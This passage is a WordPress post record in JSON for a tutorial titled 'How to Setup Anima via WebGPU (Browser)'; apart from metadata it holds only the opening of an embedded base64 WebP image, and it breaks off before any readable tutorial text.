{"id":2897,"date":"2026-07-17T14:44:24","date_gmt":"2026-07-17T14:44:24","guid":{"rendered":"https:\/\/ranoomhs.com\/?p=2897"},"modified":"2026-07-17T14:44:24","modified_gmt":"2026-07-17T14:44:24","slug":"how-to-setup-anima-via-webgpu-browser","status":"publish","type":"post","link":"https:\/\/ranoomhs.com\/?p=2897","title":{"rendered":"How to Setup Anima via WebGPU (Browser)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRspnAABXRUJQVlA4IL5nAABwqQGdASr3ARwBPjEWiUOiISESmEY0IAMEptGciHBgqNvdDHHfsf+f5w3Hfb58D++ft34lP5fdH7x\/0fNJ6x\/8v3Y\/LL\/h\/+n\/Ze9P9Wfs18CX65\/sV7ov\/N7DfN5\/T\/9x+7vuzf+T9pPgn\/dfUy\/qfVJeip+wHq3\/\/L2hP61\/3\/S7\/\/+pZzB+X383xF\/Kfsv9X+Xn5bfL9\/weVzsrzR\/m35V\/ef4z9xvzQ+gv+t5A\/Oj\/P9RT8q\/pf+X\/vn7h\/4D94POA85i5noO+6P2L\/g\/4r94\/9R8RP5P\/U9Oftn\/2fzQ+gf+l\/2P\/bfmd\/g\/\/\/773jf+sewR\/S\/8j\/t\/8d+QXyzf9f+1\/Mb32fVX\/j\/2PwHfzb+x\/8D\/D\/5\/\/4f6n\/\/\/Wj\/9PeT+6f\/\/94T9wT1I8xBmfeEiw5HDTZxyOZecib9u3vMGxPq43jl3CiEp8eWveuOjgOJ\/\/6t7n7qBLlE\/WHYogQT4IXAHe5my2+H7igclfniCZ+zJTFrk6sn9i9JhAGPypaoJzGjuStIY+UU9TWX6mripA5kKKd22uvzRUvrvIv6QUfu29eCKhZpcRMuV0uoTTr8CH4DJ1DV\/ijB6+M\/+TT+A5GL8yARzZ3hwznKqETJiSxbbvpshfrpg8nr45Snb2FNBpoEWqlxxaydrLme8PLRfwXtHf4v8jLooIb9mBxDkD1h5lBKduKnHWws7IF2zHOO7OuvH8V5qEj9auuRqgekaUaIRopvePmJYIrZ7WWaAQrwhzlXHknq8lCQKTNd3t3wlDo4oIKjioLlKfvKUS1TptkGTCFf5XBlmoJXKPurUFStgGECuVLmjudW1\/+rrkEMEhTsSqs\/7zeA3r\/VTS6PdkS83qaS41d3VKS\/mjePOoLc+3tC0wgF8q7W1qIrwP07HOCrinhI9O3UeZiQcquSVbLVUrfaW9bsTFD\/dZObvSxiS7H8L4e+cRyCfrJXlwaUiuprVwc3P1p1c\/CNPbO5aii6pzaikHZP4+xfWKH3XxiKHnrlP6E5wpgBo4PaUd9aOWWdOG7ZZCjmysviKCZbVehOzpOxeWCamEOXoK1Ca0UnT4CSs2hVKxxAEWPFI0gUEGj9i2FSaiIMQuDODeG0DJXPgMZykSa8upL3KXnpHI5\/cCA6VHZpwvBSyzygPwznelUjePPxGqDiavjX8fbyxWymXQl8aab6TzrcFuQoQT\/V3twxJ5Pr9KWpYUmCQv9gEI33H0DYMhJ0nlY\/WWAmF2DpYYKL\/rH5\/21Udo3owlHSus0529m51AyAR2iIt9W3uMPnvQ9YjfyjdSG0MjGQE2y1tL6pSWvNtv7GklED\/Et6Cbiuw23u4tQSy2\/3SCLzxSVu5VYsD8lk8efa1UFC2IKgnynTXu4DlyGYgJc7KHtrzR9rTFlF+ULwN4oHIr9lYVGgrna7YRUZNW70sxWO1tc4e35shm4\/TaDKJXr2WhcEvu5oF6HAUz\/XLEa9NRvVKLnAJI3rCD3GcaVdn6xhvDjbMuSJiNLTJ3rw+ale2f3BfGJRm6PI5i5akj9o7kZluHdDYPcamrIURaQ5r28bRn7ff\/PdaRj4+oVCxzxoAkN1Wb4cJFsGw4oJJk9o3GnyR+r6kjT7TFNGOEOOO4WK3lzNpGTx2zAT2np23boFkloGW2v+\/\/a+lo4m2s3A0yVLefWKh2Xz4VkmamM\/b2\/c9l7IRYD+0LU6RnzWU6r+X28bALLYcRdtl59ZuO7HJTMLRwJGCF2\/rT3cNMLn6Gv2ztdVlU67sCjtZf6SRidf\/bgRJwO6FGQAMdfbIYXep3PnDS2ztfLymsjb7Koarqmoc5LyDboFFp37Tz8UEOBBsSj5eJWnFc\/MnAxyEjuZMzWvS9C\/XDp58btThaic3wzjRMr90zI7m7udurkRqa9gr4aoSC9+Gk6NEJzOkvjNPJCKo4dRSxp+p\/Z+Nt8us+o8oiAyVEPg5SQqKgZvl\/0aPJdiRBpjT07E1uWIdInG06ufqqt7rJWdTX732I1dOvOABJm5Bej77tBWKcqQ8p+WuH6CiblvV3Rab6+z2pexQ\/qeMUh3RSw\/xy20pOjthsTXuSq2XkIn0VzCHwv7o1y8Gc1K5M2lmcVuOuUWQB6a\/U5+g0JV0ORD2OlkAr8sDArZgmin\/MhpOnUVqIsNNkJWvL4ngBxg+m0fRs404Vnv8sWENS9kS5wJPh9wzQ2dHppomSjZ4G3Tcqr3gI33suV2lgE7iPpZpSJmj3EwpFvivT9QFlLzktCrRtFxybuqYdYCJbEFS10oGbvuN6Brr+6j52GTF\/WybeQhzxOIjAYhs5h2ArGcxozLT\/rlG5szqSNOEUvxIR7krB2rtbg2q4oduLBjjD4PH+RGge4nKECSufYQbGHNO3CYxQAbUFN7F\/G1kWSRNQBKuCsw0eRnKb7vdjDvEKNrjUeIHW\/q5vnXCXXAXS7Y4cX38+oAPlypxbQWIn13\/Gg8HUNXm3XVBNr9LGEX5dg8YcFcYnW2XUVtpvvzuf8pco2\/hb9YKQFWDp6D3qqvmvceUWyfzr7o0QKd3rh4oB++D0hLXFxNXVKgCjJHjWtHRtqimgP3lwXJ4273DpYf4zPYfYIsF5Mh+mQvTxRXnp8j9cwhmv0TtF42z3Ip\/JVyzQfz8wL2Im+IAFzrzEyBJlX+55lOO6B5t9wGjOssrcNBJ0bivx5x8D490STV74JYnCAEDHFbEJCj3tgv4oVh6FbZSB+SlXSwvZygPjZNO3Q83QL8wVmRET4KTjK2l3Mly5Uz9pynU+i0TYGWjdMinVKSME+W0l9znI6tvQSjTGm8vHil7ACQSl8vPKEXMkJWH5W3Ij4ngGcP5Pdcw9wPhMI9tf36iE27YRxSKgmfe5pz\/94mSB3T\/\/YpXanR5OfjMy2QilTxne0Q2it5sNkTVqxeBB40swLVIq2eZcb8es6vU7Ky9G97H2b\/qEyv1Q48CPkQeRHuj1WUELUmLr\/Ld3ZHZb2UH3OLedDq55DrmQVjATgGmnRYeB\/ydoH8\/35TyFSB0YLgLOPHBqFzLVWQfA5bFx3r5XYDvPc1u7a2M2zuyyKXWIrp9Cb3ZUJ\/KQ002MuEKn5M0fTtDuRs1QzdVj0lXJbpiOp7RMPr2oc0P2PjUtN5oUb4cDxF2agYJge5i770\/YRJwyKNsAxRRxII17IP9aVrrWBL3miCJaUdhrA1MyVxCcdPMDYo4AcJMf2Otum4QxoCGBkmWFW8r7ZVyj8bTm2\/\/okkZqSKmKC4GFXpVll0+38JazOWew9hy93t2uFGiPov0ZEkEtOI5q0cwW8wFUKn5BHIZpzVTjSdm+CHr616xCd3oatXzPDLR6w5pAog44\/xi9gWcLhZC0QKqAUoqrwuwdj9zA8xackzfiCJUBYcFd+M\/T3ZHVXpRVr0jJBXJLbNAEinqvjmmDA+93MAQY\/7mHJdEUmNd6DT0VadQr7eSNulz6uNZ0zOJmK7AJljbvNnLIcV1OR1l6GEl5ngEsbehG3nwhwVk\/bCo8GENJ83Zvzj0uUt9RmJw5CgiiFEsYdyEH9I29VZS1Z3y5AeYGsqNQcMCWH2H98OhqO1a+PlAyD9SA3uvjL4\/cjXL5HzDc6ddKyRD\/h58fNXnCHmp8inVyIxVX1uyhkxKCWc6fjDg\/bPWw1OL5IEfsKXQ\/KIMTRcfWXhHxZuQqDIjRkNql4kfoRdhXDf+jKdPy00H2MhXJxff1C+c0yAoYhDNvoOyZeQEphXWH7djr27KYKtwxhbecw3MJQt4IuoQNxnN\/im7W9EgqsEJvkZpW1HdeGfQ87fRvDT6sKb\/qoTy1LgJlqpv\/G+Fq8enSPA4YX2MODuwnVW5C\/yeI1j+hDH2ORrzNGRMgnu1bLJFCU\/SCJHCmxPstsRyH43kJerRToGb\/\/DMhSDPE9fTjV10WZ+S8uguTOPqFqiRLMeb5pjaBwJ1v7rCdcvKyZCKhqO0V\/GcGmo91e\/e0O\/kCKSJz53s1k7cYTuqS5yLULdAvNc1Zu6Qge39ED7\/uIOIW7bcxUVCzkFuvJbN5WY3ysJf\/6nMYN8j3laO4TWnaj6elxVYuGRwZIsjEPlDvLDAljXiwle5qe8T3ovoAjwCVI3WBjMhBiFnC+ebFkhzx0Cw1wG6pOOC+NBqIewf24jQIZYBastkDu0Iz7qLV1eD4tZ+\/1czAWAtUHsl7ARinj9zkP\/4CxkAPz3syN7Mshg7CnEvKnzT+gtCCHdERwhJQMA3vm69ntVFTXJ\/TSV71cpm2BuOOlRzp0tHQ\/maPaNaEz+4ZmDdunn9pK18PE9NibfQFh74TK1G84+SAbxuKPeV\/3YA8zrSLsZ\/xQGmY6veA4xBMgWv6emEjwEOd99\/\/oVRbj+EqT5nZ7nUdeMFOtXmWYKO498TwesiqRgwNinOkTg5pUDxV31uqhJ73fXKAdCd\/WhqAie6IM3yWYch02E33ybHCdDo\/6L+YJamL0yOvLztQ\/\/8T38ja1pRyGt4TIFSE5qNT3z2+s+TYn2eev4qlenzVVlZhbIWFsjtONXF3o2Fb2hw12714RcL3bROAAP73gFkFfXfUa0ef2mOl17RCkB79quYYB0OXKNuIOW1q1Xf5LNAGDI6dkGDPzfGz9UOnpUa\/6Y+Pi7N3kUmYr\/DE\/MwcxU1Y7j8ZA4KoD0vdjPDDodbJQWPmzco\/1pmCXIP98NvA0sj4G3cVw1AwM+CMnqku2LLM2M5nD0BLyRbwWLCbf9Iip4czmn9G7SBICvFM61WyGJubKV6bCd02yuhsQDpAzgklcvFzboCL0ftrxFbPbnLCQakYAON\/aHVWXRXgA6jjurQUQkN62bRFzvy7tytGAi7goPArnecMcT98k0\/9qQPYHwT+kervRdTk4DWqAt5bFNuruFZ2+nzkR3nRkid6p2S28ON9qzAtIRdGFoqm4B0qQhXUEEzCueY\/rerI3e68FTyT8N3JjD8QpfK7dnWZp1H7fwTuRYB4qoIhvp75H1Ipilw8dgAB2m4RsNd1\/\/OSI9QE7vNSzabUL4jpcMh1\/Wsm\/lD0HgFbdY03eZiKXFM9qnxrkycNyF7e+guOHm\/rywbPmZttDWyt\/YFYeWJ0m5NwUI7seeDOlNI37xk5Bk1Q2GkO7UvAeebHRVlYiWkZ\/GcLr3OYPkb3W5+25YpF74vkxR+DrfFJTLGkobij0XJun4iHfp844IC41cthiRdCTZrwHJF1+wOWXUMqCsnbl5lUfXDzjEJKUiK1qbb2ohi\/eWBFewFsjR\/orb18e8Ko2GFMKM0huJDtvLi1GiDUMNSbkG3trBv0gO5HRGijQIcb1nxPoiPhSpMgoGJHa5xY8KEGT\/Fd90fTwqnQIKhsP2GO79O7DPIdVaZswEaVal4N\/yrzz2ljxmdVctzx3o5QHBqRX2ZlfNl3HK\/9xuQQIls7S6PRP4taOd7wMIwPUR10fxbax6lsa0HniMORMdQOYWzLi4ZvzHBcEyOeQlsVzBO+rSB7z4HPt+bnIdmyOTDyy3+rBIwtW9ZeqxhjNIUnBAS8GcfMI43MME4V5iXsY1bmjy0y65WYXrf3SZEC+0YqGiKwC3Rv8BWBomcdyaCTskOFpcEi9\/yM0kzF+ZphLDnAL+6ZTVsQrOZC4u6yN6EZj\/Ij1rvUyZe\/roaX\/iWnV6GE2rq7vw0dKfxDlh+rlBZEE99CQPOQpNSU51L0ULRlzG8jNSCm3MLrWEtpnes8T8NaJXOQnu6EskEH7GSDjS3XDCkm4b34xvqv8pupVi8BstXHyQrAmuTvTA8bJFvK1L2P5m\/dy11B0WsFTVPqZn2gVZ9TYRbkukLfKbWwtlnEMED23d7G\/hwolJTYL3bw+pmMCPpo5M4qVQBwl8PfvM6hUj0pW4ghf3uDFDfCRRsJxCpVHAQiMTr5+8H4MMckSWbPD17UVPhSe5x09IjPGKMZxzWhp6wS4W\/fFz6s+UdtJEBCSgUq5AzB43SPnJsu30RmV0rTZ7\/gZRES2M3uQ29aFHAhW6GNAL3LhbqQDvsbtENlDDOQ5oHwrbtE6TMYAqCVnWpoSyC67eNuFx8h4DquHRSUsSbgO8s+S4+Yr3BHxBdSx22kzjRG4WZhHlCAFQpmllDhO2fQFFtVi97MOQ5CW1OKfD8FMXRA5rXx3DI5G8G8KaNXE\/PO8FLzyYyHOPwcuTIBEJaRWsEWBjCAtuUrjSrtgV5Fa8daDAcqbBUCaMOnw8edQWN2TWxZhmjl19\/sBoCUlEP5QdqOU7ajtK9ov4zzUQL2v7HaiXw\/7Vfa2XLz602totO+dvVnG1Ru6Ubb7AifqPya16vndTMMIPgNjiELnbnLTZg55w1C7aRzHJh0nk6nD6SovBkesZJK\/6cx6RO17X4N\/Jm0aoyV5Zw4eGkoCSD1dGcxs1SHL9ApfW4jtYt8WMGvGy\/zF9VbaRtHpMb0fdUPRNQM0AWnkruCcMiPoW\/g74X6Z5DLxhJapkM93tzh5yi8bNv21tDZA72EvXLHTsZpiGGn1tNWFVGS14gz6A+O6EI0dOy6wnJ+PJPuE4WrYEpm6r9zhTmAZC2aGa8FOKp095dY9bZA5hygkD64ePb2qpvf0XkYlhhfMxlN8V07+JIerNRDlDvJAHjqF0J0tNadieMTVn+SOJBuoE\/oylXwN4PTs+u7ZbpSammF2kTDtvyvSR+F6zrMqvbxJOgxZxInaQJEDTl7GMBengv+gj6DXYY8FxNfn7b0zZfnVezi5BLWaEdcPTNIt5xBnMn+BV33OiIlMyJ1V4nrUXHXUcf2FK4fLgH8G\/Jct98QHE0lDNqFK3XqRmKH39mnJ7jD93w7aTvIEq1eNq6vfEAosj+ws71NwbsvWNxqe7WL9rVBDyYATTzZQXyhS8VwmEDR6aNAf2Vyiv5czZUzdp7FeU9mnx6H2\/ZwSMB2Q+JmFr3vbkX6qQusz\/LErTqUsV8kQImwKa43mUhFH0TVZk5S2CGWD+b8z2LwL1SvQNYvFp9zh2Dd3ll6Eef6XO\/PxM4xq5EoXc+FeWlBcMBGbIEief8S8E72BPbMsApf8Br0YPqSbLkLF\/ZGsauH1BUUx+6lqrhND58ONWjx6RPXlM1q\/8d2i23\/H3GGIzAB\/4421JY1J1ycXDNMO0d06\/6xiPDp1HhcZWZj6rfhoMyzU9hm710zY6f3c17ZG0kPYA7qobeqnhrw0lnwoTQvxpRh9+EEbskREBU9n7682+6fjNUhunay\/jrbQ3Yh5hUWktcUesGMXYE03Art5tj+15b5xTbk8uz+Rme1xFXjspKf4FJfMD0rGR7FbJBFaUMIyFQ6YHbWkoAHlVy5pRYFWDwfIqe9cRRbNbKPu65GhX4KjlAlF\/admbBmCBFEZWmCfXb1nFvZl0hCVsz\/KFwpiXW6dPIK7+W1POzxRdNIvfXzndiSmDekpdFZiK76eDwg0gKCFaSrCfc21QHjRjgp52VoSZMH+E55ythEN6SCWGQJP3t8KSbs7IWl7zQYvObGMebmCu62o5t\/v9kwDwoiVPNsEZgTBhAqY6\/wSUDv4xdJ4ekv4oljh8FzPEXP2q8iYSjx0U9UZn5XP6KIQjfkf+X1KlKRg6vDLss9WlHFBfTZhlxVxpsLeYA+Gnpo8hjGfblfZvglIFDEQl7xMGzpvEZEzpK8cZo\/FKYX070lCSNgCVDDkYmMpj4nsbLzUuWXfGQao3AGEMlPQQ4kOvr72XBrIkzKwjV\/HLd3u891x4uI50FDyUJQgSDUqQdtFOmEASqTx8Pl9Zc2WDvTjYcy5Qzc9GMDFi17cXdfUuPVrku0iXLNcehEG3\/br4d+0qrt2mNanAvv1QQuNoy5oAv1jIqE8bPFU6xuVksPEhhFMwrvEyGeUic+noABLNdZu0Mbm93ezkO2i3xw0f14feBb0eLTQZKKERfxKM2izb7psz27UROOsw+V6OuhgVcTdk3AfvS9O8OhYRcbUJ\/f1Q30VC+4kAC+EmP02rtqW1defL0LPgw1kvAajk0b6XLw0vIDNDTqYlmHaQEbqhThqosluWJawOIrjkTV\/M6Hj2wZj2zpta5yZRRVA6y\/GKdP07b1FnQKfsYxoZwUWdVEek41+ISsXTLnMpnZ9qlaAQ4BE+mOGFhtyZso+0i5ezh5FCuXBOxGTCK34eQj9trZ4u5b2ghDczq0L54qME7xvp7WwmOYSDKLCXqTCgE3eHiljbYLQxH\/hOWX+NSzxpHfhmH+icU0E9FN+waJkcs+8l4NBmq1\/4LDSbLKhBZpk6XGHCVtbQC24aTz6XZxdoLTiY1em6dfS4GGH9FE2AeMsCvUDGOo\/QyN1YF87\/ndLwpAo\/Bldab5EYo9vxslJ7i5z2dOBRZ3R5zTg2yATUoI9uFocSSOU8PwWCLsHWXOAQZNMjZHjMupTFGb1mRrvEAbSjaCXF74PDWHWVdSnw8mFe7kyCvmtUlxZE2z\/y8ZgNIGcpOB3FgU1s64fuIQGCrnq1NE4mlTKn9ZrNh3nPi4eB5n9KcyO0IRQcaW6FVAVIlStAUfaPDOaiAd4srggINdJuKyj6fhBvj3jcDGMmUJ0J1hY\/WcLzuFqaM6nEbCjss\/erLnOz6x3QqXZxr5sjZxxqXICSgc1oLobrUfi0f8\/i1EFv6UdeE16jWD13AppeYdaCGBh5exuj0AM1ua4uNTjxZIWTvILonMNSLJCHCXJ4+k3jTqyJevvtAJ8qhiUp+g9+swGkXXgxUo\/p1j9Bv1mXw4f3DdnrspaYRgnqLkkJMZSICloBRoUFyj2Cd9PI2UYHugLtVMo2PYWusee2uLtGVx1b0eQT08oegCgFeavb+fC3EcjS3513ceGObsv+MyoBipJK7JlloFA8jfDJ8IPT9x7P179F4S9XffVqDFuwHdt5GfaDHXq7iCM8MLsnU+\/uRHQFC3o7Y7I90FwFVH\/7+nr0vHYD\/I0vn7fb6Xi\/\/epcoG3nYNXZ16+IP0M7oWf6de2D9YzSa9PmfeQ9t8T12mZCJWaFhfhGyfSbutMvH5rXJk2LSUkHZX4Jm2CKU+sO4uwaX9gWXVmhfTDYYi0o+Pz6jdGEVldzarO9wTH4czIwUOvwNHcw8XkMciuD9+2mJxFDUkfYfGpZ7WgXCLNaI4N1HIs7KSWGXQzVVS0AfG+EefybhsDWvjvBXO3xNyYaGiHBmJJ8gPfvTtrQZUqzgs0Jwtgcdt\/cDt15GEP52DnsyjLemWq6MYM6Lu43LeHxQJMsKqFkMXECmAqxmq9nk8jQJZgrg\/3rS+VJCNQ\/xyQ9cxfeF308cqOIV02kUksvwVZJve9YshbM0ws+3ho36NpSLE4UD+l4aOlzHq6OTkY+02rDZlBCVxwX6U2a67D1cjmcARoFyFRzQicUS00SImNac+2po3SbPMosZkheUXRDHfaSHyIPF8AQmK1tklt5aj4s8PPary4MQFCLJ6iyCrX2FnLgZbgvAxswqwyKif0Zp3f8wiQSmL+GvHYIzRHCZT9eJSlBM8cveWD9BSwQq1E+Ia\/hDO4ifakSJKfT8agS8M8K1xLPDTFJHQrurVnzwktmgXi42qhe44XNc0NN2Yy4kZEiB5MuQBHi7arUJZ+gKnwuyTAjmaH4qZ+O8pyNnndsHZTJzGlwjiRWZ4b43pf7oV30Jvbkfd7ol79eqdvfXsDOD49p1NcLHzfHE\/X1XKZrhYWqpjarF\/gty+RvROldd+jNeS7gbv0Xd3LLLHxap3S8Qph7fsEDx3oQ\/WNeSuYtHQtoTl9kYJ43KczNdtQyyw\/NLC5h39\/RtAphqRsH7VO7ToUFO75TlATGH0rs6lCr1SJCNHt6wdlgB4Kv5P4V\/prnucaNg8P1uy7wFirG1DrmW3B\/S3QKpHuaZLrtCIkk1DTnF6OW9UDcKLFm1H7v1bXGAfQtjTf\/Jpxvy78ixxvs+W8W77Wiij42v+GFrTRqRrMEEYRbCIV5AP2CBEaM7iWFE50+Fdx3taB6MNB0PM4oxrESJ6oJyP6HbPtchi9gNqt0hPRxrZVWaaTU+my903xczjVzkcuPBjlr0Sy4GN3CmxCz8aiQN+ehNZHmkkY5os82owoP3ibcCtbXZeZnSTy2HfC8LL+PR8w4hyqz1qzJHB2+0QKH412BrC6ccjuO4Vso10dJAyES6qIGPMCsP0tck4T2ZEF+3Sm\/s7+hgKuQL04IX+Y1sckUJmdtyZnHjhbSaqC+QsND7ni8NG3\/wFJYwqgQmtHSZdfKH\/uSPtaM1TweO0GU\/bh\/xje5uQyVDe2wIqFbQUGojpKpDfremOvhPDQP2lhCQSi2e5H\/bhIpd9Z9JEs7rezz6VXRxfZrRiA5CV\/1BQc2SqiJoVH3a2Smdk2anaG9HpZS7K\/QqHvKaX0yONgIvejjPR7SrwX11AuQIc+1dxHizY3SGBpnQ9f4tfwRzwDKA3+MJkDvzExHBvmoM54vDcxsfsyGF+mO4si6Un\/jVsCq5jrKiFf3QnZTAHY7O+Ush9VaeV6wLd\/GPQ3Jz9TzVHAqj5sysYZz+dbPHnfgA0JnQytycWao6\/h2CELgoxqtxRC4JkX9PW28bmOr7Yqa9eJ0jiexewDH0pQKMRfJWaZvmX6k8dIDjfGSUi6uxdmDv3aeIIAu+z+6m6\/8ESjfT+O6cx\/TK04KCVjujw6q7O\/6iM32GIjkbbN68maUZ8yIx6ZT8g98VUHlBt9g5zq9yvJPxF\/0WEj2AyOeT2Be+YTmmweyoVzDg3PAzDre9Nl6HB5LqQgeE3Ny\/57Y629CGAfDLd7Cac5Th0iNnCf159IuR4e\/JGomU7DUbk0EWb5lBfaJO9CXeKyO1Kf0knzZYpHW9IkE+Vt4eZzETA767sFPDPHLL1qUvGhXNgrB8j1h0YykU3MX3LYfkqzAJvphl4LVl5Dl+ty310ESM\/1PEivdR9i6VlzPyPbPbJVufJ8Jogq4cN3DitOmn72li56c2Nr87Q1\/weEm9FbOoHZQaW5GJEsBUc1vbKTjdZbR10RCOTio6FJoSAYn9CTwJAn01DnJb5E9w2r0\/N1Xkv+NKQbqDOIqs7YFwoCXnWH8xuishI7A7YWpbeT1DFR5+SD0ZzIIIN58PDcNJwsL\/ysXX0m1u5SBtPlg1MMS+7Ke\/RM1\/Ba7eNcsBx+owYwwmf6eRNLNBTrHVM7R9mILXADCMjR0w9HVe0DcVpmu5ToXnm1ywubOxIAcRwl\/gE1IA\/POC4Lz0s\/j3rJUzkHciV4TjdecaDlBIKfKJ2J\/5HrL7fdgvGeqAK6sR9QA8SBR3XSjDGdewqElR4s1DuK2v9j6lxMTQ0sdu\/vT6tNOR5V1D9FI+H0sl+ChvelucSm6krNHh6KLvKaOaKN4lwHc9knTxiNpcp5eoz7Mz\/gA4hgZ5BUZxViBvJ+gDmZIpzkx7PkuxsSEWzWbwtf6G0R2cLJ2tXMZ8NUyJCJWV3bxjsJTPj32xDmBM+F9\/chrUUGHXAEs26mQ2BagtGKsgDcnM3Pvxk69wuqZz3SLjGVHcUOZNMDSIgdzpekh8TPRdXBr++jMrKDI6F8GTt9IFqdDlP7KpjSmffEDNQwUTNf+HentdhjQvhR\/x5DiER\/Ra5LRp3rSoFAGo84sj0hG51tbSd2GUgXlPquqtqAoRirol1EAzFfFTNEu6Js\/ufcIT\/ENxnzbr+eP7hwz0G58v8IkPzMi1odo6u1BnPeAGAVjSocNg4FrIDYHI44lxFTBfKzV\/0SDYwLApjyn5XD54iPey6pfaSXyzsTSi7yEXW9je6JcSx5KVCAjaUlDjlEiMLRMhfK6H4Z8IVawGuCy1AHn0Ksjh3HSnSWR0MwSwTen1khT2lXZananSpuL9ntPTa4uOVxPHYe\/w1QUTPdmX5gQhSXkUsQ1UShP4fFpb8Xz3alZk+7v36e\/6\/kqdwN+O7DoP\/livEat6zLyOaxXYV+8eERPbcPhZJ5dn2wjEc+mkZQ9G8CmpKxDg\/EcS4KThHIGPnve9yKRIt5KWufgCr8xr3dsSVF3B0uxpca6kw+xntxrVKvNPSu0l2zIQzvvVJcYG9Asmw8yRHOkt8R1BM7d6wM+Qf0hde0JQGJw\/cVtez55pCVpGUuvrwi919U4DxE5+jC8LuCn\/9MNUf8UjNu7NNj1pXSyPrBnamVnHLCYIOQ7i3zsWo9ieK5zGtZCYenESqLDjS15twbxYm8YDTz3U++yuO0aPr0ENE0YmeFdtGv9YCSOK3fDFTd5BQKFnZN7tfi12F9nS51HDy\/zukE1G7ipPJE4lSIccrUFkPTsPZnD\/GLX7MdhQFvJqBkbGl3\/gzr1PgsF0jYZcxKAxLTXUVHk9nezt+DheYyzpFuGLGB2qLwflBaM0\/AEsarcb72JzPn6OXoaYGb29ywkDqM0m61zKmnosw+UobZS0euysMjO4M+DvrPMfZm2h8aUK9Qf2eIdczwOalr\/+OporUzeO1EF7NbfU1DAtvMe54EJmJvqo691AQkCrPjZntHoZpR360egew8pC8egzptlcfm5dZdAlgBgrw9Ld6PtpWVtpb+D3D5Mytdl6xm7DSLYD12rSYh9+2NFc8UgN28+59IHCLS\/LDWT+fXcDsOf3mNxxcSoYP2r52fixy2AU66v9BhEX6FFCrsTB2KOOj\/M3uq57DAbE1nxzY7m9pgfvm2YHTEygtJ8CH2rcwWNPUAyAZibvn54wvCU1XKGxDdQRFoDtRLuKCOdFBsUnnALCzN0NiyKvqLYytwkU5t4fef+dDyhvS5BApIOe7CMjrPwgZkfsr88Y14yL1UXaja3l9l9TjWjZSywlMIllGUkGvEvnFHvhl+3meUqYy1QEyHx4Xv6pimT+8bHafQWzDl9slhLO\/lVWF5j0FLQbWBpnBkzr7vGX6PnRQudWLyzlYg9OZryzJ7RCezPVXBolsC7Hd1z4KickhmhZUfApksVt7smPzZPsynOFcRTwD6DX92ZmP+4ZqPWxLpP9m5sQVEOk5hTsv0fs4UbiG+B8v4OnfLSkgfuYIlQk2glVmnqTlVgRW3bCh5eNTmTUlTWZ8OPW2ImxE0Y0hoOKcUmZkDDGengOUqCuCMvtzJdRE0tEqzAIyn63NKvu+FIiaTdifMKC0G6WTPxLbXIigLvq0WXAdPd+gb9JRfKYU5\/Ltua0gAU753U6AWQiBMIN82j2Kk1gPBJaZUcP9xFKl1sEhIxNcwSju9hl76BWxsVQdxI1ZdxBjMwGYo7SyXAx1fZIZE3tGNlQv8\/bN5UJSo9BefweIzBFuyqxgKAf+smOLYtNTrDU+Y1ZQhhNsGZVcussZ2j1RZddh5L04CbhyYaV\/+gK9qGiYFDJnKC\/2FO89Xa4ZrdL7TIefObA4\/ZPeg73K6S4OPbcuC1oEgG0UZE1u6QXGR0s4ZRRbltzqWKaVZJxuOOUgLgmiY2wyZPHuQfXkaTpz1R3U7\/t9OQ6Y2e5W6zFT+hJzLAMVt2OgBqusoigkmAl1\/1UeOsE9LP+twuWBIlY1cBP4Hur2jtpZepTKqXFGn7HyONOb9b6KGKs7wiZ04Mv4upU+T3Mity2XBLF41o+ySVzCsCnNXgAfgGwZ2ucHlAJXlFjOrrQGaUnW36qUjpIPNkUL53gHPfN9fB\/YYsFqe4Q71W1u7SkkZf4sTzo18YEIg7\/+zcKb64Sv7Omipj6ACMoLaQLbgVQF8OmWk9fGfOltNX\/o10i5flVRVAOpMICSjYFPVD\/7tNEAtVVX5YE3lvihEV8XnIoNgLrxWb6SSWGvLZvtI0rMcajAJz+PXU+y6gp5AAdwTxsICWSNMr6n2o\/CtWIxm0Fokkwbyubg8gk29KYuRSm6v+iBX\/OWEICf53l3PHYaDt8e08b9sVqMvRH+rIZE6MhOQPKVS7kQk849VwZfgP+JGx12wcXdYC3l11KzQmRt4pay3doc0VpavPYAVuk9gV3XR2EyiAOZcWue\/dtO6uYX9yiVtO4tulhtKmMGyprQgSVXN3RXFXXffiloJ1fRi3GxVWhVFAzFj4QWGDjUC5D8+YGDsOX6xnNB7AIiv\/TnAIKgcS84CJU3WF30qjBMiMQLx+CLlQrI4wEycIFfKTprrrTGnLFxEFM1TfSM1d3bNh7o6fdETRDsGqM5IO+cSyJCriGimQPmDMrOm8nRRqbDnPr3ME3CY6bJkAMHhoVI\/Axq2uD2dhRxysqv5+XyZIStvCk2APqAWSz9q8\/kIUekTUVoOLjS0XXcrl9QucTMNXZgkGmyXM1GX89+oE1Or7SL7Utsaa9BWT6Atr9NKAj3W9YGnvrujGGyIS+CluJcxISZkR40zn9ZFNW\/wv0nnnVc7+JHdnbAvn6jcNqJz+aun9SB5NMJpbnqgWDckl7jIWMuYNoabooYSWn8eiBVPkPc1zFnFZlplRWyfC+qe8zAkyCTtUcf+IL8C22cjWsbKxTB5R0AWtI2iQV7R1euve5ZhQ\/os9KPuJNU7iAsVJL\/fW+\/rWJ+6RFUPAkBYGtkFDfJltzp2y9+M508rB16admaxWi2yzQjU3Jg5+d9li\/LBDbcrSTN00Ro07yvguTo36tt35g54D7JwMkD8IFqqvHCfNtrYVU7JB4BMRXHpPPvcmFdygvUtOpvtxTGDBrg\/1tmSuFW0zOo0n50R4h6OY4mKCN3B1mic7KxU83NYg3Ms9Abz939jJ45yXma7Ht0E1Ffr0xcvBHf0wl2ilsCuHUV9wrKbM5eZw5e0WYC60B8aWipd+eDmm8s5ZJBxgq\/JLqj+7qfZUHPTSrZfq4Lz451I9Qnpri1xIyGdTjluVQ4VcDmort3r0kJIWlGbNs5HLof+Ql6mJzfSKjzHEDY98MUscdTzO3HbyQkiDqa+NGyln\/JszYVb40s8wNG65jachbCOQH8BjkMO8I1fJD0I8dZ6h\/Umv3yeRkYCOekhp0Isr0NvyHKM3ZN9\/FoCIWZRk6syhJpxzJmpk\/A3O9GwlyyOeVuSffFsuUrGLOYTa5eBVpB3l1ezwzOMj+IXDD5igxwMGotv3YoW\/ZujImUWXbYvhhTHdMQvTDLAShq1le03f3CnKY4ZQdidMrzhBzlhT587RjwkTsiBTuM5lQTjMqxJK4R7mY8w0A0MJcuvwBNBvJlyANmd+RN\/IJ+hn3Wf0Ts0a25v5ic\/U3ij3EThTGEChMX059iiDxmJxdW2aeq4QOhY0DdUuI3d+AWKKaO5VyzfDfqLJI0DvGy